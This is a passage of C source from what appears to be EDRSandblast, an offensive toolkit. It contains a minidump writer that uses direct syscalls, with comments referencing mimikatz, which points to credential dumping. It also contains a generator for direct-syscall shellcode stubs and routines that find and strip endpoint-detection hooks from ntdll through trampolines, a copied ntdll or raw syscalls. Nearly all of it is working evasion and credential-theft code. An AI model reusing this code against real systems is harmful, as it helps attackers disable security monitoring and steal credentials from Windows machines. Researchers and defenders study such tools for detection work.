memory64List->BaseRva = baseRVA;
// Compute the start and size of each memory Page.
currentMemoryPage = pmemoryPages;
SIZE_T indexMemoryRange = 0;
while (currentMemoryPage) {
memory64List->MemoryRanges[indexMemoryRange].StartOfMemoryRange = currentMemoryPage->startOfMemoryPage;
memory64List->MemoryRanges[indexMemoryRange].DataSize = currentMemoryPage->dataSize;
currentMemoryPage = currentMemoryPage->next;
indexMemoryRange++;
}
//Write the actual stream
appendToDump(dumpContext, memory64List, streamSize);
free(memory64List);
memory64List = NULL;
// Write our length in the Memory64ListStream directory.
// header + 2 directories + streamType.
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// write our RVA in the Memory64ListStream directory
// header + 2 directories + streamType + Location.DataSize
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
// dump all the selected memory Pages.
currentMemoryPage = pmemoryPages;
while (currentMemoryPage) {
PBYTE buffer = calloc(currentMemoryPage->dataSize, 1);
if (!buffer) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to allocate memory for memory Page)\n"));
return STATUS_UNSUCCESSFUL;
}
NTSTATUS status = NtReadVirtualMemory(dumpContext->hProcess, (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, buffer, currentMemoryPage->dataSize, NULL);
// once in a while, a Page fails with STATUS_PARTIAL_COPY, not relevant for mimikatz
if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) {
_tprintf_or_not(TEXT("[-] Failed to read memory Page: startOfMemoryPage: 0x%p, dataSize: 0x%llx, state: 0x%lx, protect: 0x%lx, type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\n"),
(PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage,
currentMemoryPage->dataSize,
currentMemoryPage->state,
currentMemoryPage->protect,
currentMemoryPage->type,
status);
}
if (MAXDWORD < currentMemoryPage->dataSize) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: memory range too big ! Aboring\n"));
return STATUS_UNSUCCESSFUL;
}
if (!appendToDump(dumpContext, buffer, (DWORD)currentMemoryPage->dataSize)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to write memory Page)\n"));
return STATUS_UNSUCCESSFUL;
}
// Free memory Page (overwrite it first, just in case).
memset(buffer, 0, currentMemoryPage->dataSize);
free(buffer);
buffer = NULL;
currentMemoryPage = currentMemoryPage->next;
}
return STATUS_SUCCES;
}
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) {
DWORD status = STATUS_UNSUCCESSFUL;
DWORD targetProcessPID = 0;
PMODULE_INFO pmoduleList = NULL;
PMEMORY_PAGE_INFO pmemoryPages = NULL;
HANDLE hDumpFile = NULL;
OBJECT_ATTRIBUTES ObjectAttributesDumpFile = { 0 };
IO_STATUS_BLOCK IoStatusBlock = { 0 };
LARGE_INTEGER AllocationSize = { 0 };
HANDLE htargetProcess = NULL;
OBJECT_ATTRIBUTES ObjectAttributesProcess = { 0 };
status = SandFindProcessPidByName(targetProcessName, &targetProcessPID);
if (!NT_SUCCESS(status) || targetProcessPID == 0) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't find target %s process PID\n"), targetProcessName);
goto cleanup;
}
WCHAR FilePath[MAX_PATH] = { 0 };
const WCHAR prefix[] = L"\\??\\";
memcpy_s(FilePath, sizeof(FilePath), prefix, sizeof(prefix));
UNICODE_STRING dumpFilePathAsUnicodeStr = { 0 };
wcscat_s(FilePath, _countof(FilePath), dumpFilePath);
getUnicodeStringFromTCHAR(&dumpFilePathAsUnicodeStr, FilePath);
// Create the dump file to validate that the output path is correct beforing accessing the process to dump memory.
InitializeObjectAttributes(&ObjectAttributesDumpFile, &dumpFilePathAsUnicodeStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtCreateFile(&hDumpFile, FILE_GENERIC_WRITE, &ObjectAttributesDumpFile, &IoStatusBlock, &AllocationSize, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (status == STATUS_OBJECT_PATH_NOT_FOUND || status == STATUS_OBJECT_NAME_INVALID) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: the dump file %s path is not valid\n"), FilePath);
goto cleanup;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't create empty dump file (NtCreateFile error 0x%x).\n"), status);
goto cleanup;
}
// Open an handle to the process to dump.
InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL);
CLIENT_ID clientId = { 0 };
clientId.ProcessId = UlongToHandle(targetProcessPID);
status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId);
if (status == STATUS_ACCESS_DENIED) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status);
goto cleanup;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't get an handle to the target process (NtOpenProcess 0x%x).\n"), status);
goto cleanup;
}
// Allocate memory to write the mini dump.
SIZE_T dumpSz = sizeof(MINIDUMP_HEADER); // arbitrary, the allocation size grows at each appendToDump
PVOID dumpBaseAddr = calloc(dumpSz, 1);
if (!dumpBaseAddr) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate memory for dump file.\n"));
goto cleanup;
}
DUMP_CONTEXT dumpContext = { 0 };
dumpContext.Signature = MINIDUMP_SIGNATURE;
dumpContext.Version = MINIDUMP_VERSION; // | implementation_version << 16
dumpContext.hProcess = htargetProcess;
dumpContext.BaseAddress = dumpBaseAddr;
dumpContext.RVA = 0;
dumpContext.DumpMaxSize = dumpSz;
pmoduleList = getModulesInLdrByInMemoryOrder(htargetProcess);
if (!pmoduleList) {
goto cleanup;
}
pmemoryPages = getMemoryPagesInfo(dumpContext.hProcess, TRUE);
if (!pmemoryPages) {
goto cleanup;
}
status = writeMiniDumpHeader(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpDirectories(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpSystemInfoStream(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpModuleListStream(&dumpContext, pmoduleList);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpMemory64ListStream(&dumpContext, pmemoryPages);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = NtWriteFile(hDumpFile, NULL, NULL, NULL, &IoStatusBlock, dumpContext.BaseAddress, dumpContext.RVA, NULL, NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump to file (NtWriteFile 0x%x).\n"), status);
goto cleanup;
}
freeLinkedList(pmoduleList);
freeLinkedList(pmemoryPages);
NtClose(htargetProcess);
NtClose(hDumpFile);
_tprintf_or_not(TEXT("[+] %s sucessfully dumped with direct syscalls only to: %s\n"), targetProcessName, dumpFilePath);
return STATUS_SUCCES;
cleanup:
if (htargetProcess) {
NtClose(htargetProcess);
}
if (hDumpFile) {
NtClose(hDumpFile);
}
if (pmoduleList) {
freeLinkedList(pmoduleList);
}
if (pmemoryPages) {
freeLinkedList(pmemoryPages);
}
return STATUS_UNSUCCESSFUL;
}
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args) {
return SandMiniDumpWriteDump(args[0], args[1]);
}
+204
View File
@@ -0,0 +1,204 @@
#include <Windows.h>
#include "UserlandHooks.h"
#include "PEParser.h"
#include "PEBBrowse.h"
#define INVALID_SYSCALL_NUMBER 0xFFFFFFFF
DWORD GetSyscallNumberFromMemoryScanning(LPCSTR ntFunctionName) {
PE* ntdll_disk;
PE* ntdll_mem;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
PBYTE scanner = PE_functionAddr(ntdll_disk, ntFunctionName);
for (int i = 0; i < 0x10; i++, scanner++) {
PDWORD pPotentialSycallNumber = (PDWORD)(scanner + 1);
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
syscallNumber = *pPotentialSycallNumber;
break;
}
}
return syscallNumber;
}
typedef struct SYSCALL_t {
LPCSTR Name;
DWORD RVA;
DWORD Number;
}SYSCALL;
int CmpSyscallsByRVA(SYSCALL const* a, SYSCALL const* b) {
if (a->RVA < b->RVA) {
return -1;
}
else if (a->RVA > b->RVA) {
return +1;
}
else {
return 0;
}
}
int CmpSyscallsByName(SYSCALL const* a, SYSCALL const* b) {
return strcmp(a->Name, b->Name);
}
DWORD g_nbSyscalls = 0;
DWORD g_nbSyscallsMax = 0;
SYSCALL* g_syscalls = NULL;
SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
if (g_syscalls != NULL) {
*syscallTableSize = g_nbSyscalls;
return g_syscalls;
}
g_nbSyscallsMax = 0x10;
g_syscalls = calloc(g_nbSyscallsMax, sizeof(SYSCALL));
if (!g_syscalls) {
return NULL;
}
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
// Store all Zw* function as a syscall
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]);
if (*(WORD*)functionName == *((WORD*)"Zw")) {
if (g_nbSyscalls == g_nbSyscallsMax) {
g_nbSyscallsMax *= 2;
PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL));
if (!tmp) {
return NULL;
}
g_syscalls = tmp;
}
g_syscalls[g_nbSyscalls].Name = functionName;
g_syscalls[g_nbSyscalls].RVA = PE_functionRVA(ntdll_mem, functionName);
g_nbSyscalls++;
}
}
PVOID tmp = realloc(g_syscalls, g_nbSyscalls * sizeof(SYSCALL));
if (!tmp || !g_nbSyscalls) {
return NULL;
}
g_syscalls = tmp;
g_nbSyscallsMax = g_nbSyscalls;
// Sort the Zw* functions by RVA
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByRVA);
// Deduce the syscall numbers from order in table
for (DWORD j = 0; j < g_nbSyscalls; j++) {
g_syscalls[j].Number = j;
}
// Sort the function back in alphabetical order
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName);
*syscallTableSize = g_nbSyscalls;
return g_syscalls;
}
DWORD GetSyscallNumberFromHardcodedInformation(LPCSTR ntFunctionName) {
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
if (!strcmp(ntFunctionName, "NtProtectVirtualMemory")) {
pRtlGetVersion RtlGetVersion = (pRtlGetVersion)PE_functionAddr(ntdll_mem, "RtlGetVersion");
OSVERSIONINFOEXW versionInformation = { 0 };
RtlGetVersion(&versionInformation);
if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0 && versionInformation.dwBuildNumber <= 19044) {
syscallNumber = 0x50; // win10
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
syscallNumber = 0x4F; // win8.1 / 2012 R2
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
syscallNumber = 0x4E; // win8 / 2012
}
else if (versionInformation.dwMajorVersion <= 6) {
syscallNumber = 0x4D; // win7 / 2008 R2 & before
}
}
return syscallNumber;
}
DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) {
DWORD syscallTableSize;
SYSCALL* syscallTable = GetSyscallTable(&syscallTableSize);
if (syscallTable == NULL) {
return INVALID_SYSCALL_NUMBER;
}
LPSTR zwFunctionName = _strdup(ntFunctionName);
if (zwFunctionName == NULL) {
return INVALID_SYSCALL_NUMBER;
}
*(WORD*)zwFunctionName = *(WORD*)"Zw";
DWORD down = 0;
DWORD up = syscallTableSize;
while (up - down > 1) {
DWORD mid = (down + up) / 2;
if (strcmp(syscallTable[mid].Name, zwFunctionName) <= 0) {
down = mid;
}
else {
up = mid;
}
}
if (!strcmp(syscallTable[down].Name, zwFunctionName)) {
return syscallTable[down].Number;
}
else {
return INVALID_SYSCALL_NUMBER;
}
}
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName) {
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!shellcode) {
return NULL;
}
PBYTE pShellcode = shellcode;
// get the syscall number through different techniques and check they give the same result
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
DWORD(*GetSyscallNumberFunc[])(LPCSTR) = { GetSyscallNumberFromMemoryScanning , GetSyscallNumberFromExportOrdering , GetSyscallNumberFromHardcodedInformation };
for (DWORD i = 0; i < _countof(GetSyscallNumberFunc); i++) {
DWORD syscallNumberCandidate = GetSyscallNumberFunc[i](ntFunctionName);
if (syscallNumberCandidate != INVALID_SYSCALL_NUMBER) {
if (syscallNumber != INVALID_SYSCALL_NUMBER && syscallNumber != syscallNumberCandidate) {
return NULL;
}
syscallNumber = syscallNumberCandidate;
}
}
if (syscallNumber == INVALID_SYSCALL_NUMBER) {
return NULL;
}
*(DWORD*)&mov_eax_syscall_number[1] = syscallNumber;
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
pShellcode += sizeof(mov_eax_syscall_number);
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
pShellcode += sizeof(mov_r10_rcx);
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
pShellcode += sizeof(syscall_ret);
DWORD oldProtect;
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
return shellcode;
}
+623
View File
@@ -0,0 +1,623 @@
/*
* All the logic that detects, resolves, patch userland hooks and other related structures
*/
#include <Windows.h>
#include <PathCch.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "UserlandHooks.h"
#include "PEBBrowse.h"
#include "Undoc.h"
#include "Syscalls.h"
#if _DEBUG
int debugf(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
int res = vprintf(fmt, args);
va_end(args);
return res;
}
#else
#define debugf(...)
#endif
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
for (size_t i = 0; i < len; i++) {
if (mem[i] != disk[i]) {
size_t patchStartIndex = i;
if (NULL != lenPatch) {
while (mem[i] != disk[i] && i < len) {
i++;
}
*lenPatch = i - patchStartIndex;
}
return &mem[patchStartIndex];
}
}
if (NULL != lenPatch) {
*lenPatch = 0;
}
return NULL;
}
/*
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
* The list is a NULL-terminated array of "diff" elements
*/
PATCH_DIFF* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
size_t diffSize;
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
DWORD diffsListLen = 4;
size_t diffsListI = 0;
PATCH_DIFF* diffsList = malloc(diffsListLen * sizeof(PATCH_DIFF));
if (NULL == diffsList) {
debugf("bug in malloc in findDiffsInRange\n");
exit(1);
}
while (diffAddr != NULL && sizeToScan != 0) {
//debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
searchStartMem = (BYTE*)diffAddr + diffSize;
diffsList[diffsListI].mem_ptr = diffAddr;
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
diffsList[diffsListI].size = diffSize;
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
diffsListI++;
if (diffsListI >= diffsListLen) {
diffsListLen *= 2;
PVOID diffsListTmp = realloc(diffsList, diffsListLen * sizeof(PATCH_DIFF));
if (NULL == diffsListTmp) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList = diffsListTmp;
}
}
PVOID diffsListTmp = realloc(diffsList, (diffsListI + 1) * sizeof(PATCH_DIFF));
if (NULL == diffsListTmp) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList = diffsListTmp;
diffsList[diffsListI].mem_ptr = NULL;
diffsList[diffsListI].disk_ptr = NULL;
diffsList[diffsListI].size = 0;
return diffsList;
}
/*
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
* Only read-only sections are compared, since writable sections will obviously contain differences.
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
*/
PATCH_DIFF* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
PATCH_DIFF* list = NULL;
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
nonWritableSection != NULL;
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
debugf("Diffs in section %s:\n", nonWritableSection->Name);
DWORD sectionRVA = nonWritableSection->VirtualAddress;
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
LPVOID searchStartMem = sectionAddrMem;
LPVOID searchStartDisk = sectionAddrDisk;
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
}
return list;
}
/*
* Looks for a memory needle in a memory haystack
*/
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
{
if (!haystack)
return NULL;
if (!haystack_len)
return NULL;
if (!needle)
return NULL;
if (!needle_len)
return NULL;
PBYTE h = haystack;
while (haystack_len >= needle_len)
{
if (!memcmp(h, needle, needle_len))
return h;
++h;
--haystack_len;
}
return NULL;
}
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
{
SIZE_T haystack_len;
PVOID haystack;
PBYTE patternInExecutableMemory;
MEMORY_BASIC_INFORMATION mbi = { 0 };
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
{
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
break;
}
if (mbi.State != MEM_COMMIT) {
continue;
}
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
continue;
}
haystack = mbi.BaseAddress;
haystack_len = mbi.RegionSize;
while (haystack_len)
{
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
if (!patternInExecutableMemory) {
break;
}
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
return patternInExecutableMemory;
}
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
haystack = patternInExecutableMemory + 1;
}
}
return NULL;
}
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
if (unhook_method == UNHOOK_NONE) {
return;
}
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
PATCH_DIFF* patches = hook->list_patches;
//merge every small patches into 1 patch to perform a single write
PATCH_DIFF patch = patches[0];
int nb_patches = 0;
while (patches[nb_patches].size) {
nb_patches++;
}
PATCH_DIFF lastPatch = patches[nb_patches - 1];
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
// Method used to get a NtProtectVirtualMemory function that is safe to use
switch (unhook_method) {
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
// in this case, it is not really "safe" to use
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
break;
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
GetTempPathW(MAX_PATH, ntdlolFilePath);
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
secondNtdll = LoadLibraryW(ntdlolFilePath);
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_DIRECT_SYSCALL:
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory");
if (unmonitoredNtProtectVirtualMemory == NULL) {
printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n");
exit(EXIT_FAILURE);
}
break;
default:
printf_or_not("Unhook method does not exist, exiting...\n");
exit(EXIT_FAILURE);
break;
}
//actually remove the hook
DWORD oldProtect;
PVOID patch_mem_ptr = patch.mem_ptr;
SIZE_T patch_size = patch.size;
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
exit(1);
}
for (size_t i = 0; i < patch.size; i++) {
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
}
status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
exit(1);
}
switch (unhook_method) {
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
FreeLibrary(secondNtdll);
}
DeleteFileW(ntdlolFilePath);
break;
}
}
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
}
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
exit(1);
}
return (pNtProtectVirtualMemory)trampoline;
}
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
exit(1);
}
DWORD oldProtect;
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
return (pNtProtectVirtualMemory)trampoline;
}
return NULL;
}
PVOID hookResolver(PBYTE hookAddr) {
PBYTE destination = hookAddr;
BOOL hasFollowedJmp = FALSE;
while (TRUE) {
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(destination, &mbi, sizeof(mbi));
if (mbi.State != MEM_COMMIT) {
return NULL;
}
switch (destination[0]) {
case 0xE9:
{
int diff = *((int*)(&destination[1]));
destination = &destination[5] + diff;
hasFollowedJmp = TRUE;
break;
}
#if _WIN64
case 0xFF:
{
BYTE selector = destination[1];
if (selector != 0x25) {
return NULL;
}
int diff = *((int*)(&destination[2]));
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
destination = (PBYTE)*offsetPtr;
hasFollowedJmp = TRUE;
break;
}
#endif
default:
if (!hasFollowedJmp) {
return NULL;
}
else {
return destination;
}
}
}
}
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
}
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName) {
FILE* csvFile = NULL;
DWORD hookListSize = 8;
DWORD hookList_i = 0;
HOOK* hooksList = calloc(hookListSize, sizeof(HOOK));
if (NULL == hooksList) {
debugf("calloc failed\n");
exit(1);
}
if (csvFileName) {
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
perror("CSV file could not be opened:");
exit(1);
}
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
}
BOOL hooksFoundInLastModule = TRUE;
PBYTE disk_dllContent = NULL;
PE* diskDLL = NULL;
PE* memDLL = NULL;
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
if (dll_name.Buffer == NULL) {
continue;
}
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
if (!hooksFoundInLastModule) {
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
if (disk_dllContent) {
free(disk_dllContent);
disk_dllContent = NULL;
}
if (memDLL) {
PE_destroy(memDLL);
memDLL = NULL;
}
if (diskDLL) {
PE_destroy(diskDLL);
diskDLL = NULL;
}
}
else {
hooksFoundInLastModule = FALSE;
}
printf_or_not("[+] [Hooks]\t%ws (%ws): 0x%p\n", dll_name.Buffer, moduleName, currentModuleEntry->DllBase);
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer
);
}
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
memDLL = PE_create(mem_dllImageBase, TRUE);
if (!memDLL || NULL == memDLL->exportDirectory) {
continue;
}
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
continue;
}
disk_dllContent = ReadFullFileW(currentModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
debugf("\tError : ReadFullFileW: 0x%x\n\n", GetLastError());
continue;
}
